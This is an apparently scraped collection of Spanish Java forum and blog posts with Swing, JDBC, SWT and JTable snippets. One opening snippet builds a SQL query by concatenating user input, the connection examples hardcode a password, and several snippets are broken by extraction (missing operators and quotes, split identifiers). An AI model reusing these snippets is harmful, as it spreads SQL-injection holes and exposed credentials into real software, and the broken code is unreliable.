consulta="SELECT * FROM porcinos.personal WHERE id_empleado='"+id_empleado2.getText()+"'"; rs=st.executeQuery(consulta); if(rs.next()){ //mando un mensaje en pantalla alert2.setVisible(true); alert1.setVisible(false); return false; } else { return true; } } } } catch(java.sql.SQLException e){ e.printStackTrace(); return false; } } } Gracias espero respuestas es urgente

Clase generica de Conexion a Bases de datos Oracle


Hace tiempo publique un comentario para una conexion con una clase generica utilizando mysql ahora he logrado conectarme a una base de datos de oracle 10g mediante una clase generica de conexion A continuacion les comparto el codigo: package resources; /**************************************** ** * @author Marco A. Trejo Lemus * * ****************************************/

import java.sql.*; public class GenericaDb { public String driver, url, ip, bd, usr, pass; public Connection conexion; public GenericaDb(String ip, String bd, String usr, String pass) { driver = "oracle.jdbc.driver.OracleDriver"; this.bd = bd; this.usr = usr; this.pass = pass; url = new String("jdbc:oracle:thin:@" + ip + ":1521:" + bd); try { Class.forName(driver).newInstance(); conexion = DriverManager.getConnection(url, usr, pass); System.out.println("Conexion a Base de Datos " + bd + " Ok"); } catch (Exception exc) { System.out.println("Error al tratar de abrir la base de Datos" + bd + " : " + exc); } } public Connection getConexion() { return conexion; } public Connection CerrarConexion() throws SQLException { conexion.close(); conexion = null; return conexion; } } //fin de la clase Utilizar la clase Generica de conexion a bases de datos Oracle Esta es una clase generica que realiza una conexion a bases de datos oracle, la cual esta declarada dentro del paquete resources, recibe cuatro parametros: String ip, String bd, String usr, String pass, los cuales se pueden enviar desde cualquier otra clase en donde se manda llamar de la siguiente manera: Ejemplo GenericaDb conn = new GenericaDb("192.168.54.2","XE","developer","4dm1n1str"); Y listo el mensaje que nos debe de mostrar segun lo expuesto es:

Conexion a Base de Datos XE Ok "Cual quier reto por dificil que sea, si se puede lograr, si realmente lo intentamos" Saludos a toda la comunidad de desarrollo! Marco

Fbrica de ventanas
Este cdigo lo podemos usar en nuestro men principal para crear las ventanas de la aplicacin a partir del nombre del action que este asignado a un men o botn private class VentanaAction extends AbstractAction { private static final long serialVersionUID = 1L; VentanaAction(String name, int key) { super(name); putValue(MNEMONIC_KEY, key); } private void crearVentana(AbstractAction action) { try { JFrame form = (JFrame) Class.forName( "presentacion ." + action.getValue(NAME) + "Form") .newInstance( ); form.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } public void actionPerformed(ActionEvent e) { crearVentana(this); } } Nuestro action puede estar declarado as: private VentanaAction consultasAction = new VentanaAction("Consultas", KeyEvent.VK_C);

Con esto al presionar alt + c se instanciara la clase presentacion.ConsultasForm que hereda de JFrame.

Mtodos para mostrar mensajes


Mtodos sencillos para mostrar un mensaje de advertencia y otro para confirmar con si o no. protected void mostrarMensaje(String mensaje) { JOptionPane.showMessageDialog(this, mensaje, "Advertencia", JOptionPane.WARNING_MESSAGE); } protected boolean confirmarMensaje(String mensaje) { return JOptionPane.showConfirmDialog(this, mensaje, "Confirmar", JOptionPane.YES_NO_OPTION) == 0; }

Cdigo para habilitar/deshabilitar JTextFields


Con este mtodo podemos habilitar o deshabilitar uno o varios JTextFields adems de asignar otros colores protected void habilitarControles(Component component, boolean b) { if (component instanceof JTextField) { JTextField text = ((JTextField) component); text.setEnabled(b); if (b) { text.setDisabledTextColor(new Color(0, 0, 0)); text.setBackground(new Color(255, 255, 255)); } else { text.setDisabledTextColor(new Color(0, 40, 240)); text.setBackground(new Color(240, 240, 240)); }

} else { if (component instanceof Container) { for (Component c : ((Container) component).getComponents()) { habilitarControles(c, b); } } } }

Cdigo para limpiar JTextFields


Con este mtodo podemos limpiar uno o varios JTextFields protected void limpiar(Component component) { if (component instanceof JTextField) { JTextField text = (JTextField) component; text.setText(""); } else { if (component instanceof Container) { for (Component c : ((Container) component).getComponents()) { limpiar(c); } } } }

Cdigo para convertir flechas y enter en tab


Con este cdigo al presionar enter y flecha abajo se har un tab. Tambin al presionar shift + enter y flecha arriba se har un shift + tab. Set<AWTKeyStroke> teclasTab = new HashSet<AWTKeyStroke>(); teclasTab.add(AWTKeyStroke.getAWTKeyStroke(Ke yEvent.VK_ENTER, 0)); teclasTab.add(AWTKeyStroke.getAWTKeyStroke(Ke yEvent.VK_DOWN, 0)); teclasTab.add(AWTKeyStroke.getAWTKeyStroke(Ke

yEvent.VK_TAB, 0)); getContentPane().setFocusTraversalKeys( KeyboardFocusManager.FORWARD_ TRAVERSAL_KEYS, teclasTab); Set<AWTKeyStroke> teclasShiftTab = new HashSet<AWTKeyStroke>(); teclasShiftTab.add(AWTKeyStroke.getAWTKeyStro ke(KeyEvent.VK_ENTER, InputEvent.SHIFT_DOWN_MASK)); teclasShiftTab.add(AWTKeyStroke.getAWTKeyStro ke(KeyEvent.VK_UP, 0)); teclasShiftTab.add(AWTKeyStroke.getAWTKeyStro ke(KeyEvent.VK_TAB, InputEvent.SHIFT_DOWN_MASK)); getContentPane().setFocusTraversalKeys( KeyboardFocusManager.BACKWARD _TRAVERSAL_KEYS, teclasShiftTab);

Cdigo para centrar JFrame


Agrega este cdigo a tu Frame y luego llamas el mtodo centrarVentana en el evento windowOpened protected void this_windowOpened(WindowEvent e) { centrarVentana(); } private void centrarVentana() { // Se obtienen las dimensiones en pixels de la pantalla. Dimension pantalla = Toolkit.getDefaultToolkit().getScreenSize(); // Se obtienen las dimensiones en pixels de la ventana. Dimension ventana = getSize(); // Una cuenta para situar la ventana en el centro de la pantalla. setLocation((pantalla.width - ventana.width) / 2, (pantalla.height ventana.height) / 2); }

Cdigo para arrastrar JFrame con el mouse


En los eventos mousePressed y mouseDragged del JFrame agrega este cdigo import java.awt.MouseInfo; import java.awt.Point; private int x; private int y; protected void this_mousePressed(MouseEvent e) { x = e.getX(); y = e.getY(); } protected void this_mouseDragged(MouseEvent e) { Point point = MouseInfo.getPointerInfo().getLocation(); setLocation(point.x - x, point.y - y); }

JTextField Nmerico
Crea un clase NumericDocument con el siguiente cdigo package presentacion; import javax.swing.text.AttributeSet; import javax.swing.text.BadLocationException; import javax.swing.text.PlainDocument; public class NumericDocument extends PlainDocument { private static final long serialVersionUID = 1L; public void insertString(int offset, String str, AttributeSet a) throws BadLocationException { if (str == null) { return; } StringBuffer buf = new StringBuffer(str.length()); for (int i = 0; i < str.length(); i++) {

if (Character.isDigit(str.charAt(i))) { buf.append(str.charAt(i)); } else { java.awt.Toolkit.getDefaultTo olkit().beep(); } } super.insertString(offset, buf.toString(), a); } } Ahora solo hay que asignarselo al JTextField as: numeroText.setDocument(new NumericDocument());

Panel con imagen redimensionable


Aqu los comparto el cdigo que use para incluir imagenes en un panel package presentacion; import java.awt.Graphics; import java.awt.Image; import javax.swing.Icon; import javax.swing.ImageIcon; import javax.swing.JPanel; public class FondoPanel extends JPanel { private static final long serialVersionUID = 1L; private Image image = null; private Image intermediateImage = null; private Icon icon; public FondoPanel() { super(); } public void paintComponent(Graphics g) { super.paintComponent(g); if (getImage() != null) { if (intermediateImage == null || intermediateImage.getWidth(null) != getWidth()

|| intermediateImage.getHeight(null) != getHeight()) { intermediateImage = createImage(getWidth(), getHeight()); Graphics gImg = intermediateImage.getGraphics(); gImg.drawImage(getImage(), 0, 0, getWidth(), getHeight(), null); } g.drawImage(intermediateImage, 0, 0, null); } } private Image getImage() { return image; } private void setImage(Image image) { this.image = image; } public Icon getIcon() { return icon; } public void setIcon(Icon icon) { this.icon = icon; setImage(((ImageIcon) icon).getImage()); } }

Clase generica de Conexion a Bases de datos


Una clase Generica de conexion a bases de datos Una clase generica que realiza una conexion a bases de datos mysql, la cual esta declarada dentro del paquete conexion, recibe cuatro parametros: String ip, String bd, String usr, String pass, los cuales se pueden enviar desde otra clase en donde se mande llamar... ejemplo GenericaDb pnbd = new GenericaDb("192.168.54.2","listadb","admin","4dm1n1str");

despues se puede acceder a los elementos de la clase de la siguiente forma: //Para obtener la conexion Connexion conexion = qpn.getConexion(); package conexion; /**************************************** ** * @author Marco A. Trejo Lemus * * 17/06/2008 09:47:01 AM * ****************************************/ import java.sql.*; public class GenericaDb { public String driver,url,ip,bd,usr,pass; public Connection conexion; public GenericaDb(String ip, String bd, String usr, String pass) { driver="com.mysql.jdbc.Driver"; this.bd = bd; this.usr = usr; this.pass = pass; url = new String("jdbc:mysql://"+ip+"/"+bd); try { Class.forName(driver).newInstance(); conexion=DriverManager.getConnection(url,usr,pass); System.out.println("Conexion a Base de Datos "+bd+" Ok"); } catch (Exception exc) { System.out.println("Error al tratar de abrir la base de Datos"+bd+" : "+exc); } } public Connection getConexion() { return conexion; } public Connection CerrarConexion() throws SQLException { conexion.close(); conexion = null; return conexion; }

} //fin de la clase Publicado por Marco Antonio Trejo Lemus en 9:21 0 comentarios Etiquetas: clases, genericas, java jdbc martes 10 de junio de 2008 Hace tiempo publique un comentario para una conexion con una clase generica utilizando mysql ahora he logrado conectarme a una base de datos de oracle 10g mediante una clase generica de conexion A continuacion les comparto el codigo: package resources; /**************************************** ** * @author Marco A. Trejo Lemus * * ****************************************/ import java.sql.*; public class GenericaDb { public String driver, url, ip, bd, usr, pass; public Connection conexion; public GenericaDb(String ip, String bd, String usr, String pass) { driver = "oracle.jdbc.driver.OracleDriver"; this.bd = bd; this.usr = usr; this.pass = pass; url = new String("jdbc:oracle:thin:@" + ip + ":1521:" + bd); try { Class.forName(driver).newInstance(); conexion = DriverManager.getConnection(url, usr, pass); System.out.println("Conexion a Base de Datos " + bd + " Ok"); } catch (Exception exc) { System.out.println("Error al tratar de abrir la base de Datos" + bd + " : " + exc); } } public Connection getConexion() { return conexion; }

public Connection CerrarConexion() throws SQLException { conexion.close(); conexion = null; return conexion; } } //fin de la clase Utilizar la clase Generica de conexion a bases de datos Oracle Esta es una clase generica que realiza una conexion a bases de datos oracle, la cual esta declarada dentro del paquete resources, recibe cuatro parametros: String ip, String bd, String usr, String pass, los cuales se pueden enviar desde cualquier otra clase en donde se manda llamar de la siguiente manera: Ejemplo GenericaDb conn = new GenericaDb("192.168.54.2","XE","developer","4dm1n1str"); Y listo el mensaje que nos debe de mostrar segun lo expuesto es: Conexion a Base de Datos XE Ok "Cual quier reto por dificil que sea, si se puede lograr, si realmente lo intentamos" Saludos a toda la comunidad de desarrollo!

Cargar una imagen en un JPanel en netbeans


En Mi Caso Yo Lo Que Hago Es Dibujar en El Panel Mediante el metodo paintComponent(Graphics g) como se ve acontinuacion public void paintComponent(Graphics g) { Dimension tamanio = getSize(); ImageIcon fondo = new ImageIcon(getClass().getResource("imagenes/Bienvenida.png")); g.drawImage(fondo.getImage(), 0, 0, tamanio.width, tamanio.height, null); setOpaque(false); super.paintComponent(g); } espero te sirva Que tal amigos.. excelente foro..!! Tengo la siguiente consulta, necesito cargar imagenes en un JPanel medinate el

JFileChooser(), ya cargo la imagen, pero cuando cargo una nueva... no muestra la nueva.. se queda la q en un principio se cargo, estoy pensando que el error, pueda ser en las llamadas a los mtodos.. agrego el cdigo.. JFileChooser fc = new JFileChooser(); fc.setFileFilter(new FileNameExtensionFilter("Archivos de imagen", "jpg", "jpeg", "png", "gif")); jTextPane2.setText("Cargando Imgen..."); int opcion = fc.showDialog(this, "Abrir"); if (opcion == JFileChooser.APPROVE_OPTION) { File file = fc.getSelectedFile(); ruta=file.getPath(); imagen= Toolkit.getDefaultToolkit().getImage(ruta); MediaTracker tracker = new MediaTracker( this ); tracker.addImage( imagen,1 ); try { if( !tracker.waitForID( 1,100000 ) ) { System.out.println( "Error en la carga de la imagen" ); System.exit( 1 ); } } catch( InterruptedException e ) { System.out.println( e ); } //this.mostrarImagen(file); this.mostrarImagen(file); this.cargaDirectorio(file.getParent()); jTextPane2.setText("Imagn Cargada"); try { if( !tracker.waitForID( 1,100000 ) ) { System.out.println( "Error en la carga de la imagen" ); System.exit( 1 ); } } catch( InterruptedException e ) { System.out.println( e ); } System.out.println("La ruta de la Imagen es:"+ruta); w=imagen.getWidth(this); h=imagen.getHeight(this); System.out.println("Ancho"+this.w); System.out.println("Alto"+h); System.out.println("Cantidad de Pixels are"+w*h); }

private void mostrarImagen(File file) { PanelImagen imgPanel = new PanelImagen(file, this.pnlImagen.getWidth(), this.pnlImagen.getHeight()); this.pnlImagen.add(imgPanel); System.out.println("Ancho"+this.w); System.out.println("Alto"+h); System.out.println("Cantidad de Pixels are"+w*h); System.out.println("hola"); this.repaint(); } private void cargaDirectorio(String folder) { File dir = new File(folder); if (dir.isDirectory()) { this.fotos = dir.listFiles(new FilenameFilter() { public boolean accept(File file, String nombre) { if (nombre.endsWith(".jpg") || nombre.endsWith(".jpeg") || nombre.endsWith(".gif") || nombre.endsWith(".png")) { return true; } return false; } }); } for (int i = 0; i < fotos.length; i++) { System.out.println(fotos[i]); } } como veran.. esas lineas son las q empleo para cargar las imagenes.. hay unas lneas de impresion a pantalla q las ocupe como prueba.. saludos Hola, hace un momento estuve explorando el contenido de la pgina e hice mi primer comentario, ahora expongo mi primer aporte espero les sea til.

Para mostrar una imagen dentro de un panel, bscando en la red me encontre con la siguiente libreria de Swing, llamada SwingX, misma que pueden descargar desde el siguiente enlace http://swinglabs.org/downloads.jsp ; esta libreria contiene algunos componentes que estoy seguro les va a ser de mucha utilidad (Si usan el ide netbeans podran arrastrar los componentes hacia su rea de trabajo). Es dentro de esta coleccin de componentes donde se encuentra el JXImagePanel el cual nos permite insertar en su contenedor una imagen de fondo. Para ello necesitan: - Descargar y guardar en su equipo la libreria SwingX de enlace: http://swinglabs.org/downloads.jsp ---------AGREGAR LA LIBRERIA ------------------------------------------------------------------ Abrir el ide del netbeans - Ir a la opcin "Tools" de la barra del men, dar clic. - Seleccionar la opcin "Palette" de men (Se mostrara otro submen) y - Dar clic en la opcin " Swing/AWT Component" - Se mostrara una venta de dialogo " Palette Manager" - Presionar el botn " New Category..." , aqu se desplegara un cuadro de dialogo solicitando el nombre para la nueva categora. asignamos un nombre y presionamos "OK" - Add from JAR... - Buscamos el archivo jar que descargamos - Seleccionamos los componentes que vamos a agregar ( Agregamos todos los componentes ) - seleccionamos la categiria que acabamos de crear y presionamos el botn - seleccionamos la categiria que acabamos de crear y presionamos el botn - fin - Una vez que se ha agregado la libreria swingX podemos agregar los componentes desde la paleta de componentes Aqui les dejo una clase que elabore y me ha funcionado bien al momento de utilizar el JXImagePanel de la libreria SwingX Pareciera ser muchos los pasos a seguir para implementarlo pero en realidad son sencillo, si gustan les puedo hacer un minimanual, Cmo se los enviaria? import java.awt.Image; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.logging.Level; import java.util.logging.Logger; import javax.imageio.ImageIO; import org.jdesktop.swingx.JXImagePanel;

/** * @nombre : Agente_imagen.java * @descripcin : Clase que proporciona las herramientas para insertar una imagen * dentro un panel (JXImagePanel). * @creado : 4 de Enero del 2009. * @author : Aarn **/ public class Agente_imagen { public Agente_imagen(){ }//fin constructor. /*Retornar una imagen tipo Image dada una url.*/ public Image getImagen(String url){ Image imagen; BufferedImage bufferedImage = null; //Realizamos la lectura del archivo. File archivo = new File( url ); try { bufferedImage = (ImageIO.read(archivo)); } catch (IOException ex) { Logger.getLogger(Agente_imagen.class.getName()).log(Level.SEVERE, null, ex); } imagen = bufferedImage; return imagen; }//fin mtodo: getImagen().. /*Inserta una imagen dentro de un ImagePanel a partir de una url proporcionada y ajusta la imagen al tamao inicial del panel, en este caso es un JXImagePanel de la libreria swingx*/ public void setImageinImagePanel(String url, JXImagePanel panel){ //Inicializamos nuestra variable. JXImagePanel paneldeImagen = panel; Image imagen = null; paneldeImagen.setImage(null);

//Obtenemos la imagen a partir de la url proporcionada. imagen = getImagen(url); //Obtenemos el ancho y alto del panel el caul no servira para redimen--//sionar a la imagen. int ancho = panel.getWidth(); int alto = panel.getHeight(); imagen = redimensionarImagen(imagen, ancho, alto); //Insertamos la imagen redimensionada en el panel. paneldeImagen.setImage(imagen); }//Fin metodo: setImageinImagePanel. /*Inserta una imagen tipo Image dentro de un ImagePanel, ajusta la imagen al tamao inicial del panel.*/ public void setImageinImagePanel(Image imagen, JXImagePanel panel){ JXImagePanel paneldeImagen = panel; paneldeImagen.setImage(null); paneldeImagen.setImage(imagen); }//fin mtodo: setImageinImagePanel. /*Retornar una imagen tipo Image, redimensionada, apartir de los parametros alto y ancho proporcionados. */ public Image redimensionarImagen(Image imagen, int ancho, int alto) { return imagen.getScaledInstance(ancho, alto, Image.SCALE_AREA_AVERAGING); }//FIN: redimensionarImagen. }//Fin clase: Agente_imagen Saludos
Principio del formulario

Creando mi primer applet... inservible


Pues despues de leer un poco en un libro sobre Java que creo que esta un poco viejo porque dice que se concentrara en las applets... y segn me dijeron Ya no se usan las applets u.u
import java.awt.*; import java.applet.Applet;

public class Holamundoapplet extends Applet{ public void paint (Graphics g) { g.drawString ("Hola Mundo", 50, 50);

} }

Haciendo un pequeo Callback


Bien ahora que tengo un poco de tiempo describir que es y como funciona un Callback, que en pocas palabras es una tcnica que consiste en crear un objeto y que el objeto creado obtenga una referencia de quien lo instanci y pueda enviarle una respuesta. Ms fcil, los callbacks permiten a un objeto A asignar una tarea a un objeto B, es entonces cuando el objeto B puede notificar al objeto A (de manera asincrnica) cuando la tarea es completada. Con esto separamos muy bien las responsabilidades entre objetos y mejoramos el uso de recursos :-) Clase A - Cliente.java package hss; public class Cliente { Cliente(){ Lanza lanza = new Lanza(this, 8); lanza.run(); } public static void main(String args[]){ new Cliente(); } public void lanzada(){ System.out.println("Lanzada!!!"); } } Clase B - Lanza.java package hss; public class Lanza { int intervalo; Cliente cliente;

Lanza(Cliente cliente, int intervalo){ this.intervalo = intervalo; this.cliente = cliente; } void run(){ for (int i = 0; i < intervalo; i++){ cliente.lanzada(); } } } Voy a explicarlo como si corriera en modo de debug, es decir tal cual es el flujo del programa. Cliente.java - Mtodo main() public static void main(String args[]){ new Cliente(); } El mtodo main por default es el primer mtodo invocado, y crea una nueva instancia de la clase Cliente (crea una instancia de la misma clase en la que est) Cliente.java - Constructor default Cliente(){ Lanza lanza = new Lanza(this, 8); Al ser instanciada la clase Cliente, el constructor por default es ejecutado, quien a su vez crea una nueva instancia de la clase Lanza y de nombre 'lanza', a quien le manda como parmetros 'this' (que es nuestro objeto Client actual, es como si se enviara l mismo) y un entero (8). Lanza.java - Constructor que recibe Cliente y entero Lanza(Cliente cliente, int intervalo){ this.intervalo = intervalo; this.cliente = cliente; } El constructor de Lanza es ejecutado, recibe el objeto Cliente enviado con 'this' desde el objeto Client y el nmero entero, luego los copia a el 'Cliente' e 'intervalo' locales. Cliente.java - Constructor default
lanza.run();

la ejecucin regresa al objeto Cliente y contina con la siguiente lnea en donde ejecuta el mtodo run() del objeto lanza instanciado. Lanza.java - Mtodo run() void run(){ for (int i = 0; i < intervalo; i++){ cliente.lanzada(); } } Se ejecuta el mtodo run() y tomamos la variable 'intervalo' que ya haba guardado el constructor para iterar el nmero de veces que le dijimos. Cliente.java - Mtodo lanzada() public void lanzada(){ System.out.println("Lanzada!!!"); } En cada iteracin utilizamos el objeto Cliente que recibi el constructor para lanzar su mtodo 'lanzada()' y reportar a Cliente que Lanza hizo ya lo que tena que hacer, es aqui donde se realiza el Callback desde la clase instanciada hacia la clase que la instanci! ::: Como vern, es un poco enredoso el seguimiento de un Callback, pero les sugiero que prueben el cdigo en modo de debug en su IDE preferido para que lo vean correr paso a paso :-P Espero que esta tcnica les sea de utilidad, saludos!

Usando SWT para crear interfaces grficas (GUI)


Qu es SWT? SWT es un framework para crear interfaces grficas en Java (como Swing o Awt) que crea a travs de JNI (Java Native Interface) interfaces grficas nativas del Sistema Operativo en donde ejecutemos nuestra aplicacin SWT. Esto quiere decir que con el mismo cdigo visualizaremos en cada Sistema Operativo nuestras ventanas como si hubieran sido creadas para ese SO en especfico. Por ejemplo:

Windows

Linux/Gtk

Mac OS X

Motif

Photon

Ahora bien, enumerar las que a mi parecer son las ms visibles ventajas y desventajas de este framework. Ventajas:

* Ya que crea nativamente la GUI dependiendo del SO, es ms rpido que Swing * Consume menos recursos * La interfaz grfica se ver como las dems aplicaciones de tu SO * Est en constante desarrollo

Contina... Desventajas:

Muy escasa documentacin Ya que SWT fue creado por la Fundacin Eclipse y pensada para el desarrollo de Eclipse IDE, hay controles o widgets que no consideraron ya que Eclipse no los ocupa, aunque sigue en desarrollo. Se tiene que agregar la biblioteca al proyecto a desarrollar, no viene por default en las libreras de Java

Algunas aplicaciones creadas con SWT:


Eclipse IDE (Quiz el ms completo IDE para desarrollo en Java) Azureus (Uno de los ms conocidos clientes torrent)

Bien, ahora comencemos: - Creemos un nuevo proyecto de Java en nuestro IDE preferido (para este tuto utilizaremos Eclipse IDE). El proyecto en este ejemplo se llamar tests - Descarguemos SWT de http://www.eclipse.org/swt/ y lo dejamos dentro de nuestro proyecto.. - Importamos SWT al proyecto, en Eclipse IDE es en File/Import.. - Luego en General elegimos Existing proyect into Workspace - Luego seleccionamos el zip que bajamos con swt y el nombre del proyecto org.eclipse.swt - Ya tenemos SWT dentro de nuestro Workspace, ahora tenemos que agregarlo como dependencia de nuestro proyecto tests, entonces vamos a las propiedades de tests (click derecho en tests/properties), luego damos click en Java Build Path, vamos a la pestaa de Projects y le damos add.. seleccionamos org.eclipse.swt, y luego OK y de nuevo OK. - Bien, ya tenemos nuestro proyecto listo para implementar SWT, ahora debemos saber algunos conocimientos tericos. SWT se compone de principales elementos, que interactan entre ellos para lograr la interfaz nativa que tanto le caracteriza:

JNI. Java Native Interface, es el primer y ms bajo nivel, que interacta directamente con el Sistema Operativo en el que estemos. En claro que cada SO necesita diferente configuracin y libreras, pero JNI nos simplifica el trabajo para que todo lo escribamos de una sola manera y l se encarga de lo dems, as tenemos cumplida la visin de Java write Once, run anywhere Display. Esta clase de SWT es la responsable de traducir o comunicar la Clase Shell con el JNI. Shell. No chicos, no es ninguna shell que se pueda rootear! Shell es otra clase de SWT, que representa una ventana y quien es la responsable de administrar los widgets (componentes) que tendremos en la misma. Tendremos una instancia de la clase Shell por cada ventana en nuestro proyecto. Para poder instanciar la clase Shell debemos hacer referencia a un Display anteriormente instanciado.

Ahora un poco de cdigo para mover esto.. As implementamos una nueva ventana vaca:

package lol; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell; public class testings { public static void main(String lol[]){ Display display = new Display(); Shell shell = new Shell(); shell.setText(javaMexico.org); shell.setVisible(true); shell.setSize(400, 300); shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } display.dispose(); } } Que es lo que hacemos ahi? import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell; Importamos las clases Display y Shell, imprescindibles en cualquier proyecto SWT. Display display = new Display(); Shell shell = new Shell(); Instanciamos un Display y despus una Shell, a la que le asignamos la Display que creamos. shell.setText(javaMexico.org); shell.setVisible(true); shell.setSize(400, 300); shell.open(); Como ya habamos mencionado, shell es nuestra ventana, as que con setText definimos su ttulo, con setVisible si queremos que sea mostrada, con setSize el tamao y con open la iniciamos. while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); }

Este bucle while es muy importante, ya que es nuestro manejador de eventos, lo que hace es que una vez mostrada la ventana y si la misma no est ejecutando algn evento lanza un bucle que deja la ventana en espera (sleep) de otro evento venidero, as que est constantemente en escucha de algn otro evento que se dispare.
display.dispose();

por ltimo, liberamos la aplicacin con dispose(), quien finaliza display y todos los shells que display contiene, esto solo ocurre cuando la ventana ha sido cerrada, cuando damos click en cerrar la ventana automticamente el ciclo while no se cumple y salta al siguiente paso display.dispose() Resultado:

Utilizando Widgets. Bueno, iba a explicar detalladamente como poner widgets en layouts y algunos tips ms, pero desde ayer interrump este tuto por cuestiones de trabajo, as que hice esta pequea aplicacin con una caja de texto, un botn y un listener que ejecutan una accin.. Aqui est el cdigo, por favor examnenlo y vean la manera de implementar los widgets en el Grid(layout), y tambin chequen la accin que lleva a cabo el listener que le puse al botn. package lol; import org.eclipse.swt.SWT; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell; import org.eclipse.swt.widgets.Text; import org.eclipse.swt.widgets.ToolTip; import org.eclipse.swt.widgets.Tray; import org.eclipse.swt.widgets.TrayItem; /** * Clase que implementa SWT en la aplicacin! * * @author jBenek * @version v1.0 */ public class testings { /** * Mtodo que crea una ventana con un widget Text y * un widget Button de SWT, y agrega un listener al * botn para desplegar un ToolTip en la bandeja del

* sistema (Tray) con el texto introducido! * * @param lol - Arreglo de Strings por default del * mtodo main que guarda la entrada de datos al inicio * de la ejecucin del programa! */ public static void main(String[] lol) { final Display display = new Display(); final Shell shell = new Shell(); shell.setText(Hackerss.com); shell.setVisible(true); GridLayout layout = new GridLayout(); layout.numColumns = 4; shell.setLayout(layout); final Text texto = new Text(shell, SWT.BORDER); texto.setEditable(true); texto.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, true, 3, 1)); final Button boton = new Button(shell, SWT.PUSH); boton.setText(Envia); boton.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, true, 1, 1)); SelectionAdapter sel = new SelectionAdapter() { public void widgetSelected(SelectionEvent e) { final ToolTip hssTip = new ToolTip(shell, SWT.BALLOON | SWT.ICON_WORKING); hssTip.setMessage(texto.getText()); Tray hssTray = display.getSystemTray(); if (hssTray != null) { TrayItem hssItem = new TrayItem(hssTray, SWT.NONE); hssTip.setText(Hackerss.com :P); hssItem.setToolTip(hssTip); hssTip.setVisible(true); } } }; boton.addSelectionListener(sel); shell.pack(); shell.setSize(400, 100); shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) { display.sleep(); } } display.dispose();

} } Lo que muestra al iniciar la aplicacin es esta ventanita: y al dar click el listener ejecuta esta accin:

JTable una hermosura


Ok... despus de unos 4 aos de estarme peleando con .NET (especicamente con WPF) y de regresar a ver "que tanto haba avanzado java" me reencuentro con jTable y me maravillo de lo bien que est estructurado. Es cierto, tal vez no tiene una forma tan directa de poner un query de SQL directo como fuente de datos y que esta arme el dataset para mostrarlo, pero ESO es una aberracin. Si ustedes, como me imagino lo han hecho, han tenido la necesidad de reutilizar cdigo y montarlo no slo en diferentes programas o en diferentes accesos a datos y presentarlos habrn sentido, tenido o implorado por una programacin modular por capas y que utilice completamente la independencia de datos entre la capa de presentacin y la capa de obtencin de resultado de datos (que prara fines prcticos llamaremos DAO). jTable permite una independencia en todos sus componentes, manejar la presentacin de los datos obtenidos mediante un jTableModel que puede ser el de omisin o uno personalizado, de igual manera cada celda puede,segn el tipo de datos presentar un manejo distinto de la presentacin de datos, como ejemplo sencillo pondremos un cdigo sencillo de una clase ocupada por una tabla para presentar los datos en una celda de varias lineas y con un tooltip para mostrar el contenido completo (espero haberme explicado): primero creamos la gui (eso lo damos por sentado y sugerimos en su caso usar NetBeans y su WYSIWYG para GUIs), a ese panel o ventana le asignamos un controlador (una clase independiente que maneje la lgica de comportamiento de la presentacin (as tenemos nuestra cara final independiente del que la maneja -como un ttere que se puede comportar de manera diferente con cada titiritero), lo que veremos entonces es cdigo de ese controlador: JTable res = ventanaControlar.getjTResultados(); res.setAutoResizeMode(JTable.AUTO_RESIZE_OFF); palabras = busqueda.getPalabra(); res.getColumnModel().getColumn(0).setPreferredWidth(5 0); res.getColumnModel().getColumn(1).setPreferredWidth(2 00); res.getColumnModel().getColumn(2).setPreferredWidth(5 0); res.setDefaultRenderer(String.class, new MultiLineCellRenderer());

lo que estamos haciendo es decirle a nuestra tabla que ancho tendr cada columna y decirle que si el dato que se pone es un String se utilizar nuestra clase para mostrarla: /* * To change this template, choose Tools | Templates * and open the template in the editor. */ import import import import import import import java.awt.Component; java.awt.Font; javax.swing.JTable; javax.swing.JTextArea; javax.swing.UIManager; javax.swing.border.EmptyBorder; javax.swing.table.TableCellRenderer;

/** * * @author charly */ public class MultiLineCellRenderer extends JTextArea implements TableCellRenderer{ public MultiLineCellRenderer(){ setLineWrap(true); setWrapStyleWord(true); setOpaque(true); } public static boolean BOLD; @Override public Component getTableCellRendererComponent(JTable jtable, Object value, boolean isSelected, boolean hasFocus, int row, int column) { if(isSelected){ setForeground(jtable.getSelectionForeground()); setBackground(jtable.getSelectionBackground()); }else{ setForeground(jtable.getForeground()); setBackground(jtable.getBackground()); } Font font = null; if(BOLD) font = new Font(jtable.getFont().getFontName(),

Font.BOLD, jtable.getFont().getSize() ); else font = jtable.getFont(); setToolTipText((String)value); setFont(font); setText((String)value); if(hasFocus){ setBorder(UIManager.getBorder("Table.focusCellHig hLightBroder")); }else{ setBorder(new EmptyBorder(0,0,0,0)); } return this; } } Espero que el cdigo sea autoexplicable, pero en dado caso lo que estamos haciendo es decir que cuando tengamos un String mostraremos un JTextArea, este debe implementar, para poder ser un CellRenderer, la interfaz TableCellRenderer con la cual el JTextArea incorpora los valores que le den a la celda y los "pinta", as de esta manera podemos, como en este caso, manipular si pondremos el resultado en negritas o no, de igual manera podramos decirle que el contenido (p.e.) es html y poner texto en diferentes colores o muchas cosas ms con independencia completa del resto del comportamiento de la tabla. As pues es como JTable va utilizando un paradigma importantsimo de cualquier problema de sistemas: divide y vencers, convirtiendo cada uno de los problemas de presentacin de una tabla de datos en una solucin completamente separados y con una solucin por omisin que puede ser completamente reemplazable. ya tendremos ms oportunidades para seguir hablando de como ir personalizando nuestras tablas de resultados via JTable.

Aprediendo con JCheckBox y JRadioButton


Existen componentes en java, que nos permiten SELECCIONAR SOLOMENTE UNA OPCION ENTRE VARIAS, a estos componentes en java, le denominamos JRadioButton, otros componentes que nos permiten SELECCIONAR VARIAS OPCIONES ENTRE MUCHAS, en java les llamamos JCheckBox. En esta oportunidad, para aprender a usar estos 2 componentes, tenemos un ejemplo:

